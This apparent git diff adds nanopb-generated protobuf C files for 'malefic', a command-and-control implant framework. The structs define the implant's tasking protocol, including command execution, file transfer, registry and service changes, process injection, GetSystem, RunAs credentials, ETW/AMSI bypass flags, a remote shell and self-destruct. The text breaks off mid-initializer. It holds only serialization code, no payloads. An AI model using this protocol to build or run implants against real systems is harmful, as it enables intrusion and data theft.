+malefic.Addon.name max_size:128 +malefic.Addon.type max_size:64 +malefic.Addon.depend max_size:128 + +malefic.LoadModule.bundle max_size:256 +malefic.LoadModule.bin max_size:4096 +malefic.LoadAddon.name max_size:128 +malefic.LoadAddon.type max_size:64 +malefic.LoadAddon.depend max_size:128 +malefic.LoadAddon.bin max_size:4096 + +malefic.ExecuteAddon.addon max_size:128 + +malefic.ExecuteBinary.name max_size:128 +malefic.ExecuteBinary.bin max_size:4096 +malefic.ExecuteBinary.type max_size:64 +malefic.ExecuteBinary.process_name max_size:128 +malefic.ExecuteBinary.args max_size:256, max_count:32 +malefic.ExecuteBinary.entry_point max_size:128 +malefic.ExecuteBinary.data max_size:4096 +malefic.ExecuteBinary.path max_size:256 +malefic.ExecuteBinary.context max_size:256 + +malefic.ExecuteCommand.command max_size:256 + +# --- Upload / Download --- +malefic.UploadRequest.name max_size:256 +malefic.UploadRequest.target max_size:256 +malefic.UploadRequest.data max_size:4096 + +malefic.DownloadRequest.path max_size:256 +malefic.DownloadRequest.name max_size:256 +malefic.DownloadResponse.checksum max_size:128 +malefic.DownloadResponse.content max_size:4096 + +# --- Network --- +malefic.NetInterface.name max_size:128 +malefic.NetInterface.mac max_size:32 +malefic.NetInterface.ip_addresses max_size:64, max_count:16 +malefic.IfconfigResponse.net_interfaces max_count:32 + +malefic.SockTabEntry.local_addr max_size:64 +malefic.SockTabEntry.remote_addr max_size:64 +malefic.SockTabEntry.skState max_size:32 +malefic.SockTabEntry.pid max_size:16 +malefic.SockTabEntry.protocol max_size:16 +malefic.NetstatResponse.socks max_count:256 + +malefic.CurlRequest.url max_size:512 +malefic.CurlRequest.method max_size:16 +malefic.CurlRequest.body max_size:4096 +malefic.CurlRequest.hostname max_size:256 + +malefic.ChownRequest.path max_size:256 +malefic.ChownRequest.uid max_size:64 +malefic.ChownRequest.gid max_size:64 + +# --- Block / ACK --- +malefic.Block.content max_size:4096 + +# --- Registry --- +malefic.RegistryRequest.type max_size:64 +malefic.Registry.hive max_size:64 +malefic.Registry.path max_size:256 +malefic.Registry.key max_size:256 +malefic.RegistryWriteRequest.hive max_size:64 +malefic.RegistryWriteRequest.path max_size:256 +malefic.RegistryWriteRequest.key max_size:256 +malefic.RegistryWriteRequest.string_value max_size:256 +malefic.RegistryWriteRequest.byte_value max_size:4096 + +# --- Task Schedule --- +malefic.TaskScheduleRequest.type max_size:64 +malefic.TaskSchedule.name max_size:256 +malefic.TaskSchedule.path max_size:256 +malefic.TaskSchedule.executable_path max_size:256 +malefic.TaskSchedule.start_boundary max_size:64 +malefic.TaskSchedule.description max_size:256 +malefic.TaskSchedule.last_run_time max_size:64 +malefic.TaskSchedule.next_run_time max_size:64 +malefic.TaskSchedulesResponse.schedules max_count:64 + +# --- Service --- +malefic.ServiceRequest.type max_size:64 +malefic.ServiceConfig.name max_size:256 +malefic.ServiceConfig.display_name max_size:256 +malefic.ServiceConfig.executable_path max_size:256 +malefic.ServiceConfig.account_name max_size:128 +malefic.ServicesResponse.services max_count:128 + +# --- WMI --- +malefic.WmiQueryRequest.namespace max_size:256 +malefic.WmiQueryRequest.args max_size:256, max_count:16 +malefic.WmiMethodRequest.namespace max_size:256 +malefic.WmiMethodRequest.class_name max_size:128 +malefic.WmiMethodRequest.method_name max_size:128 + +# --- RunAs --- +malefic.RunAsRequest.username max_size:128 +malefic.RunAsRequest.domain max_size:128 +malefic.RunAsRequest.password max_size:256 +malefic.RunAsRequest.program max_size:256 +malefic.RunAsRequest.args max_size:256 + +# --- Inject / GetSystem --- +malefic.GetSystem.bin max_size:4096 +malefic.Inject.bin max_size:4096 + +# --- Pipe --- +malefic.Pipe.name max_size:128 +malefic.Pipe.target max_size:128 +malefic.Pipe.data max_size:4096 +malefic.PipeRequest.type max_size:64 + +# --- Switch --- +malefic.Switch.urls max_size:256, max_count:16 + +# --- Task --- +malefic.TaskCtrl.op max_size:64 +malefic.TaskListResponse.tasks max_count:128 + +# --- FFmpeg --- +malefic.FFmpegRequest.action max_size:64 +malefic.FFmpegRequest.device_name max_size:128 +malefic.FFmpegRequest.output_format max_size:32 +malefic.FFmpegRequest.output_path max_size:256 +malefic.FFmpegRequest.time max_size:32 + +# --- PTY --- +malefic.PtyRequest.type max_size:32 +malefic.PtyRequest.session_id max_size:64 +malefic.PtyRequest.shell max_size:128 +malefic.PtyRequest.input_data max_size:4096 +malefic.PtyRequest.input_text max_size:4096 + +malefic.PtyResponse.session_id max_size:64 +malefic.PtyResponse.output_data max_size:4096 +malefic.PtyResponse.output_text max_size:4096 +malefic.PtyResponse.error max_size:256 +malefic.PtyResponse.active_sessions max_size:64, max_count:32 + +# --- CommonBody --- +malefic.CommonBody.name max_size:256 +malefic.CommonBody.u32_array max_count:32 +malefic.CommonBody.u64_array max_count:32 +malefic.CommonBody.bool_array max_count:32 +malefic.CommonBody.string_array max_size:256, max_count:32 +malefic.CommonBody.bytes_array max_size:4096, max_count:16 diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.c b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.c new file mode 100644 index 0000000..f471045 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.c @@ -0,0 +1,249 @@ +/* Automatically generated nanopb constant definitions */ +/* Generated by nanopb-0.4.9.1 */ + +#include "module.pb.h" +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + + +/* The following messages exceed 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody */ + +/* The PB_FIELD_32BIT compilation option must be defined to support messages that exceed 64 kB in size. */ +#ifndef PB_FIELD_32BIT +#error Enable PB_FIELD_32BIT to support messages exceeding 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody +#endif +PB_BIND(malefic_Ping, malefic_Ping, AUTO) + + +PB_BIND(malefic_Register, malefic_Register, 4) + + +PB_BIND(malefic_Secure, malefic_Secure, 2) + + +PB_BIND(malefic_KeyExchangeRequest, malefic_KeyExchangeRequest, 2) + + +PB_BIND(malefic_KeyExchangeResponse, malefic_KeyExchangeResponse, 2) + + +PB_BIND(malefic_Init, malefic_Init, 4) + + +PB_BIND(malefic_SysInfo, malefic_SysInfo, 2) + + +PB_BIND(malefic_Suicide, malefic_Suicide, AUTO) + + +PB_BIND(malefic_Request, malefic_Request, 4) + + +PB_BIND(malefic_Request_ParamsEntry, malefic_Request_ParamsEntry, AUTO) + + +PB_BIND(malefic_Response, malefic_Response, 4) + + +PB_BIND(malefic_Response_KvEntry, malefic_Response_KvEntry, AUTO) + + +PB_BIND(malefic_BypassRequest, malefic_BypassRequest, AUTO) + + +PB_BIND(malefic_NetInterface, malefic_NetInterface, 2) + + +PB_BIND(malefic_SockTabEntry, malefic_SockTabEntry, AUTO) + + +PB_BIND(malefic_NetstatResponse, malefic_NetstatResponse, 4) + + +PB_BIND(malefic_Block, malefic_Block, 4) + + +PB_BIND(malefic_ACK, malefic_ACK, AUTO) + + +PB_BIND(malefic_Os, malefic_Os, 2) + + +PB_BIND(malefic_Process, malefic_Process, 2) + + +PB_BIND(malefic_Timer, malefic_Timer, AUTO) + + +PB_BIND(malefic_FileInfo, malefic_FileInfo, 2) + + +PB_BIND(malefic_SacrificeProcess, malefic_SacrificeProcess, 2) + + +PB_BIND(malefic_LsResponse, malefic_LsResponse, 4) + + +PB_BIND(malefic_DriveInfo, malefic_DriveInfo, AUTO) + + +PB_BIND(malefic_EnumDriversResponse, malefic_EnumDriversResponse, 2) + + +PB_BIND(malefic_PsResponse, malefic_PsResponse, 4) + + +PB_BIND(malefic_ExecRequest, malefic_ExecRequest, 4) + + +PB_BIND(malefic_ExecResponse, malefic_ExecResponse, 4) + + +PB_BIND(malefic_BinaryResponse, malefic_BinaryResponse, 4) + + +PB_BIND(malefic_Modules, malefic_Modules, 4) + + +PB_BIND(malefic_Addons, malefic_Addons, 4) + + +PB_BIND(malefic_Addon, malefic_Addon, 2) + + +PB_BIND(malefic_LoadModule, malefic_LoadModule, 4) + + +PB_BIND(malefic_LoadAddon, malefic_LoadAddon, 4) + + +PB_BIND(malefic_ExecuteAddon, malefic_ExecuteAddon, 4) + + +PB_BIND(malefic_ExecuteBinary, malefic_ExecuteBinary, 4) + + +PB_BIND(malefic_ExecuteBinary_ParamEntry, malefic_ExecuteBinary_ParamEntry, AUTO) + + +PB_BIND(malefic_ExecuteCommand, malefic_ExecuteCommand, 2) + + +PB_BIND(malefic_UploadRequest, malefic_UploadRequest, 4) + + +PB_BIND(malefic_DownloadRequest, malefic_DownloadRequest, 2) + + +PB_BIND(malefic_DownloadResponse, malefic_DownloadResponse, 4) + + +PB_BIND(malefic_CurlRequest, malefic_CurlRequest, 4) + + +PB_BIND(malefic_CurlRequest_HeaderEntry, malefic_CurlRequest_HeaderEntry, AUTO) + + +PB_BIND(malefic_ChownRequest, malefic_ChownRequest, 2) + + +PB_BIND(malefic_IfconfigResponse, malefic_IfconfigResponse, 4) + + +PB_BIND(malefic_RegistryRequest, malefic_RegistryRequest, 2) + + +PB_BIND(malefic_Registry, malefic_Registry, 2) + + +PB_BIND(malefic_RegistryWriteRequest, malefic_RegistryWriteRequest, 4) + + +PB_BIND(malefic_TaskScheduleRequest, malefic_TaskScheduleRequest, 2) + + +PB_BIND(malefic_TaskSchedule, malefic_TaskSchedule, 2) + + +PB_BIND(malefic_TaskSchedulesResponse, malefic_TaskSchedulesResponse, 4) + + +PB_BIND(malefic_ServiceRequest, malefic_ServiceRequest, 2) + + +PB_BIND(malefic_ServiceConfig, malefic_ServiceConfig, 2) + + +PB_BIND(malefic_ServiceStatus, malefic_ServiceStatus, AUTO) + + +PB_BIND(malefic_Service, malefic_Service, 2) + + +PB_BIND(malefic_ServicesResponse, malefic_ServicesResponse, 4) + + +PB_BIND(malefic_WmiQueryRequest, malefic_WmiQueryRequest, 4) + + +PB_BIND(malefic_WmiMethodRequest, malefic_WmiMethodRequest, 2) + + +PB_BIND(malefic_WmiMethodRequest_ParamsEntry, malefic_WmiMethodRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_RunAsRequest, malefic_RunAsRequest, 2) + + +PB_BIND(malefic_GetSystem, malefic_GetSystem, 4) + + +PB_BIND(malefic_Inject, malefic_Inject, 4) + + +PB_BIND(malefic_Pipe, malefic_Pipe, 4) + + +PB_BIND(malefic_PipeRequest, malefic_PipeRequest, 4) + + +PB_BIND(malefic_Switch, malefic_Switch, 4) + + +PB_BIND(malefic_TaskCtrl, malefic_TaskCtrl, AUTO) + + +PB_BIND(malefic_TaskInfo, malefic_TaskInfo, AUTO) + + +PB_BIND(malefic_TaskListResponse, malefic_TaskListResponse, 2) + + +PB_BIND(malefic_FFmpegRequest, malefic_FFmpegRequest, 2) + + +PB_BIND(malefic_PtyRequest, malefic_PtyRequest, 4) + + +PB_BIND(malefic_PtyRequest_ParamsEntry, malefic_PtyRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_PtyResponse, malefic_PtyResponse, 4) + + +PB_BIND(malefic_PtyResponse_MetadataEntry, malefic_PtyResponse_MetadataEntry, AUTO) + + +PB_BIND(malefic_CommonBody, malefic_CommonBody, 4) + + + +#ifndef PB_CONVERT_DOUBLE_FLOAT +/* On some platforms (such as AVR), double is really float. + * To be able to encode/decode double on these platforms, you need. + * to define PB_CONVERT_DOUBLE_FLOAT in pb.h or compiler command line. + */ +PB_STATIC_ASSERT(sizeof(double) == 8, DOUBLE_MUST_BE_8_BYTES) +#endif + diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.h b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.h new file mode 100644 index 0000000..ca75d0d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.h @@ -0,0 +1,1857 @@ +/* Automatically generated nanopb header */ +/* Generated by nanopb-0.4.9.1 */ + +#ifndef PB_MALEFIC_MODULE_PB_H_INCLUDED +#define PB_MALEFIC_MODULE_PB_H_INCLUDED +#include + +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + +/* Struct definitions */ +typedef struct _malefic_Ping { + int32_t nonce; +} malefic_Ping; + +typedef struct _malefic_Secure { + bool enable; + char key[256]; /* encryption key */ + char type[64]; /* encryption type */ + char public_key[256]; /* Implant's public key, used by server to encrypt data */ +} malefic_Secure; + +typedef PB_BYTES_ARRAY_T(256) malefic_KeyExchangeRequest_signature_t; +/* Age key exchange related messages */ +typedef struct _malefic_KeyExchangeRequest { + char public_key[256]; /* Temporary public key (Age X25519) */ + malefic_KeyExchangeRequest_signature_t signature; /* Signature of temporary public key */ + uint64_t timestamp; /* Timestamp */ + char nonce[64]; /* Nonce */ +} malefic_KeyExchangeRequest; + +typedef struct _malefic_KeyExchangeResponse { + char public_key[256]; /* Server temporary public key */ +} malefic_KeyExchangeResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Init_data_t; +typedef struct _malefic_Init { + malefic_Init_data_t data; +} malefic_Init; + +typedef struct _malefic_Suicide { + int32_t type; + int64_t timestamp; +} malefic_Suicide; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Request_bin_t; +/* common empty request */ +typedef struct _malefic_Request { + char name[256]; + char input[256]; + pb_size_t args_count; + char args[32][256]; + pb_callback_t params; + malefic_Request_bin_t bin; +} malefic_Request; + +typedef struct _malefic_Request_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Request_ParamsEntry; + +typedef struct _malefic_Response { + char output[4096]; + char error[256]; + pb_callback_t kv; + pb_size_t array_count; + char array[32][256]; +} malefic_Response; + +typedef struct _malefic_Response_KvEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Response_KvEntry; + +typedef struct _malefic_BypassRequest { + bool ETW; + bool AMSI; + bool block_dll; +} malefic_BypassRequest; + +typedef struct _malefic_NetInterface { + int32_t index; + char name[128]; + char mac[32]; + pb_size_t ip_addresses_count; + char ip_addresses[16][64]; +} malefic_NetInterface; + +typedef struct _malefic_SockTabEntry { + char local_addr[64]; + char remote_addr[64]; + char skState[32]; + /* uint32 uid = 4; */ + char pid[16]; + char protocol[16]; +} malefic_SockTabEntry; + +typedef struct _malefic_NetstatResponse { + pb_size_t socks_count; + malefic_SockTabEntry socks[256]; +} malefic_NetstatResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Block_content_t; +typedef struct _malefic_Block { + uint32_t block_id; + malefic_Block_content_t content; + bool end; +} malefic_Block; + +typedef struct _malefic_ACK { + uint32_t id; + bool success; + bool end; +} malefic_ACK; + +typedef struct _malefic_Os { + char name[128]; + char version[128]; /* kernel version */ + char release[128]; /* release version */ + char arch[32]; + char username[128]; + char hostname[128]; + char locale[64]; /* timezone */ + pb_size_t clr_version_count; + char clr_version[8][64]; +} malefic_Os; + +typedef struct _malefic_Process { + char name[128]; + uint32_t pid; + uint32_t ppid; + char owner[128]; + char arch[32]; + char path[256]; + char args[256]; + char uid[64]; +} malefic_Process; + +typedef struct _malefic_SysInfo { + char filepath[256]; + char workdir[256]; + bool is_privilege; + bool has_os; + malefic_Os os; + bool has_process; + malefic_Process process; +} malefic_SysInfo; + +typedef struct _malefic_Timer { + char expression[128]; + double jitter; +} malefic_Timer; + +typedef struct _malefic_FileInfo { + char Name[256]; + bool IsDir; + uint64_t Size; + int64_t ModTime; + uint32_t Mode; + char Link[256]; +} malefic_FileInfo; + +typedef struct _malefic_SacrificeProcess { + bool hidden; + bool block_dll; + bool etw; + uint32_t ppid; + char argue[256]; +} malefic_SacrificeProcess; + +typedef struct _malefic_LsResponse { + char Path[256]; + bool Exists; + pb_size_t Files_count; + malefic_FileInfo Files[128]; +} malefic_LsResponse; + +typedef struct _malefic_DriveInfo { + char path[64]; /* "C:\\" */ + char drive_type[64]; /* "Fixed drive" */ + uint64_t total_size; /* */ + uint64_t free_size; /* */ + char file_system[32]; /* "NTFS" */ +} malefic_DriveInfo; + +typedef struct _malefic_EnumDriversResponse { + pb_size_t drives_count; + malefic_DriveInfo drives[16]; +} malefic_EnumDriversResponse; + +typedef struct _malefic_PsResponse { + pb_size_t processes_count; + malefic_Process processes[512]; +} malefic_PsResponse; + +typedef struct _malefic_ExecRequest { + char path[256]; + pb_size_t args_count; + char args[32][256]; + bool output; + bool singleton; + bool realtime; + uint32_t ppid; +} malefic_ExecRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stdout_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecResponse_stderr_t; +typedef struct _malefic_ExecResponse { + int32_t status_code; + malefic_ExecResponse_stdout_t stdout; + malefic_ExecResponse_stderr_t stderr; + uint32_t pid; + bool end; +} malefic_ExecResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_data_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_BinaryResponse_message_t; +typedef struct _malefic_BinaryResponse { + malefic_BinaryResponse_data_t data; /* common return, bof BeaconOutput */ + malefic_BinaryResponse_message_t message; /* bof BeaconPrintf */ + int32_t status; + char err[256]; +} malefic_BinaryResponse; + +typedef struct _malefic_Modules { + pb_size_t modules_count; + char modules[64][256]; +} malefic_Modules; + +typedef struct _malefic_Addon { + char name[128]; + char type[64]; + char depend[128]; +} malefic_Addon; + +typedef struct _malefic_Register { + char name[256]; + char proxy[256]; + pb_size_t module_count; + char module[64][256]; + pb_size_t addons_count; + malefic_Addon addons[32]; + bool has_timer; + malefic_Timer timer; + bool has_sysinfo; + malefic_SysInfo sysinfo; + bool has_secure; + malefic_Secure secure; /* Implant's public key, used by server to encrypt data */ +} malefic_Register; + +typedef struct _malefic_Addons { + pb_size_t addons_count; + malefic_Addon addons[32]; +} malefic_Addons; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadModule_bin_t; +typedef struct _malefic_LoadModule { + char bundle[256]; + malefic_LoadModule_bin_t bin; +} malefic_LoadModule; + +typedef PB_BYTES_ARRAY_T(4096) malefic_LoadAddon_bin_t; +typedef struct _malefic_LoadAddon { + char name[128]; + char type[64]; + char depend[128]; + malefic_LoadAddon_bin_t bin; +} malefic_LoadAddon; + +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_bin_t; +typedef PB_BYTES_ARRAY_T(4096) malefic_ExecuteBinary_data_t; +typedef struct _malefic_ExecuteBinary { + char name[128]; + malefic_ExecuteBinary_bin_t bin; + pb_callback_t param; + char type[64]; + char process_name[128]; + pb_size_t args_count; + char args[32][256]; + char entry_point[128]; + malefic_ExecuteBinary_data_t data; + bool output; + uint32_t arch; + uint32_t timeout; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; + char path[256]; + char context[256]; + uint32_t delay; /* millisecond */ +} malefic_ExecuteBinary; + +typedef struct _malefic_ExecuteAddon { + char addon[128]; + bool has_execute_binary; + malefic_ExecuteBinary execute_binary; +} malefic_ExecuteAddon; + +typedef struct _malefic_ExecuteBinary_ParamEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_ExecuteBinary_ParamEntry; + +typedef struct _malefic_ExecuteCommand { + char command[256]; + bool has_sacrifice; + malefic_SacrificeProcess sacrifice; +} malefic_ExecuteCommand; + +typedef PB_BYTES_ARRAY_T(4096) malefic_UploadRequest_data_t; +typedef struct _malefic_UploadRequest { + char name[256]; + char target[256]; + uint32_t priv; + malefic_UploadRequest_data_t data; + bool hidden; + bool override; +} malefic_UploadRequest; + +typedef struct _malefic_DownloadRequest { + char path[256]; + char name[256]; + uint32_t buffer_size; + bool dir; + int32_t cur; +} malefic_DownloadRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_DownloadResponse_content_t; +typedef struct _malefic_DownloadResponse { + char checksum[128]; + uint64_t size; + int32_t cur; + malefic_DownloadResponse_content_t content; +} malefic_DownloadResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CurlRequest_body_t; +typedef struct _malefic_CurlRequest { + char url[512]; + int32_t timeout; + char method[16]; + malefic_CurlRequest_body_t body; + pb_callback_t header; + char hostname[256]; +} malefic_CurlRequest; + +typedef struct _malefic_CurlRequest_HeaderEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_CurlRequest_HeaderEntry; + +typedef struct _malefic_ChownRequest { + char path[256]; + char uid[64]; + char gid[64]; + bool recursive; +} malefic_ChownRequest; + +typedef struct _malefic_IfconfigResponse { + pb_size_t net_interfaces_count; + malefic_NetInterface net_interfaces[32]; +} malefic_IfconfigResponse; + +typedef struct _malefic_Registry { + char hive[64]; + char path[256]; + char key[256]; +} malefic_Registry; + +/* wrap for client */ +typedef struct _malefic_RegistryRequest { + char type[64]; + bool has_registry; + malefic_Registry registry; +} malefic_RegistryRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_RegistryWriteRequest_byte_value_t; +typedef struct _malefic_RegistryWriteRequest { + char hive[64]; + char path[256]; + char key[256]; + char string_value[256]; + malefic_RegistryWriteRequest_byte_value_t byte_value; + uint32_t dword_value; + uint64_t qword_value; + uint32_t regtype; +} malefic_RegistryWriteRequest; + +typedef struct _malefic_TaskSchedule { + char name[256]; + char path[256]; + char executable_path[256]; + uint32_t trigger_type; + char start_boundary[64]; + char description[256]; + bool enabled; + char last_run_time[64]; + char next_run_time[64]; +} malefic_TaskSchedule; + +typedef struct _malefic_TaskScheduleRequest { + char type[64]; + bool has_taskschd; + malefic_TaskSchedule taskschd; +} malefic_TaskScheduleRequest; + +typedef struct _malefic_TaskSchedulesResponse { + pb_size_t schedules_count; + malefic_TaskSchedule schedules[64]; +} malefic_TaskSchedulesResponse; + +typedef struct _malefic_ServiceConfig { + char name[256]; + char display_name[256]; + char executable_path[256]; + uint32_t start_type; + uint32_t error_control; + char account_name[128]; +} malefic_ServiceConfig; + +/* wrap for client */ +typedef struct _malefic_ServiceRequest { + char type[64]; + bool has_service; + malefic_ServiceConfig service; +} malefic_ServiceRequest; + +typedef struct _malefic_ServiceStatus { + uint32_t current_state; + uint32_t process_id; + uint32_t exit_code; + uint32_t checkpoint; + uint32_t wait_hint; +} malefic_ServiceStatus; + +typedef struct _malefic_Service { + bool has_config; + malefic_ServiceConfig config; + bool has_status; + malefic_ServiceStatus status; +} malefic_Service; + +typedef struct _malefic_ServicesResponse { + pb_size_t services_count; + malefic_Service services[128]; +} malefic_ServicesResponse; + +typedef struct _malefic_WmiQueryRequest { + char namespace[256]; + pb_size_t args_count; + char args[16][256]; +} malefic_WmiQueryRequest; + +typedef struct _malefic_WmiMethodRequest { + char namespace[256]; + char class_name[128]; + char method_name[128]; + pb_callback_t params; +} malefic_WmiMethodRequest; + +typedef struct _malefic_WmiMethodRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_WmiMethodRequest_ParamsEntry; + +typedef struct _malefic_RunAsRequest { + char username[128]; /* Username to execute as */ + char domain[128]; /* User domain */ + char password[256]; /* User password */ + char program[256]; /* Program path */ + char args[256]; /* Program arguments (optional) */ + bool use_profile; + bool netonly; /* Use network credentials only (optional, default false) */ + bool use_env; +} malefic_RunAsRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_GetSystem_bin_t; +typedef struct _malefic_GetSystem { + malefic_GetSystem_bin_t bin; + uint32_t pid; +} malefic_GetSystem; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Inject_bin_t; +typedef struct _malefic_Inject { + malefic_Inject_bin_t bin; + uint32_t pid; +} malefic_Inject; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Pipe_data_t; +typedef struct _malefic_Pipe { + char name[128]; + char target[128]; + malefic_Pipe_data_t data; +} malefic_Pipe; + +typedef struct _malefic_PipeRequest { + char type[64]; + bool has_pipe; + malefic_Pipe pipe; +} malefic_PipeRequest; + +typedef struct _malefic_Switch { + pb_size_t urls_count; + char urls[16][256]; +} malefic_Switch; + +typedef struct _malefic_TaskCtrl { + uint32_t task_id; + char op[64]; +} malefic_TaskCtrl; + +typedef struct _malefic_TaskInfo { + uint32_t task_id; + uint64_t last; + uint32_t recv_count; + uint32_t send_count; +} malefic_TaskInfo; + +typedef struct _malefic_TaskListResponse { + pb_size_t tasks_count; + malefic_TaskInfo tasks[128]; +} malefic_TaskListResponse; + +typedef struct _malefic_FFmpegRequest { + char action[64]; + char device_name[128]; + char output_format[32]; + char output_path[256]; + char time[32]; +} malefic_FFmpegRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyRequest_input_data_t; +/* PTY */ +typedef struct _malefic_PtyRequest { + char type[32]; /* type: "start", "input", "stop" */ + char session_id[64]; /* */ + char shell[128]; /* shell type: "/bin/bash", "cmd.exe", "powershell.exe" */ + uint32_t cols; /* */ + uint32_t rows; /* */ + malefic_PtyRequest_input_data_t input_data; /* */ + char input_text[4096]; /* */ + pb_callback_t params; /* */ +} malefic_PtyRequest; + +typedef struct _malefic_PtyRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyRequest_ParamsEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyResponse_output_data_t; +typedef struct _malefic_PtyResponse { + char session_id[64]; /* Session ID */ + malefic_PtyResponse_output_data_t output_data; /* Output data (binary) */ + char output_text[4096]; /* Output data (text) */ + char error[256]; /* Error message */ + bool session_active; /* Whether session is still active */ + pb_size_t active_sessions_count; + char active_sessions[32][64]; + pb_callback_t metadata; +} malefic_PtyResponse; + +typedef struct _malefic_PtyResponse_MetadataEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyResponse_MetadataEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CommonBody_bytes_array_t; +typedef struct _malefic_CommonBody { + char name[256]; + pb_size_t u32_array_count; + uint32_t u32_array[32]; + pb_size_t u64_array_count; + uint64_t u64_array[32]; + pb_size_t bool_array_count; + bool bool_array[32]; + pb_size_t string_array_count; + char string_array[32][256]; + pb_size_t bytes_array_count; + malefic_CommonBody_bytes_array_t bytes_array[16]; +} malefic_CommonBody; + + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initializer values for message structs */ +#define malefic_Ping_init_default {0} +#define malefic_Register_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}, false, malefic_Timer_init_default, false, malefic_SysInfo_init_default, false, malefic_Secure_init_default} +#define malefic_Secure_init_default {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_default {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_default {""} +#define malefic_Init_init_default {{0, {0}}} +#define malefic_SysInfo_init_default {"", "", 0, false, malefic_Os_init_default, false, malefic_Process_init_default} +#define malefic_Suicide_init_default {0, 0} +#define malefic_Request_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_default {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_default {0, 0, 0} +#define malefic_NetInterface_init_default {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_default {"", "", "", "", ""} +#define malefic_NetstatResponse_init_default {0, {malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, 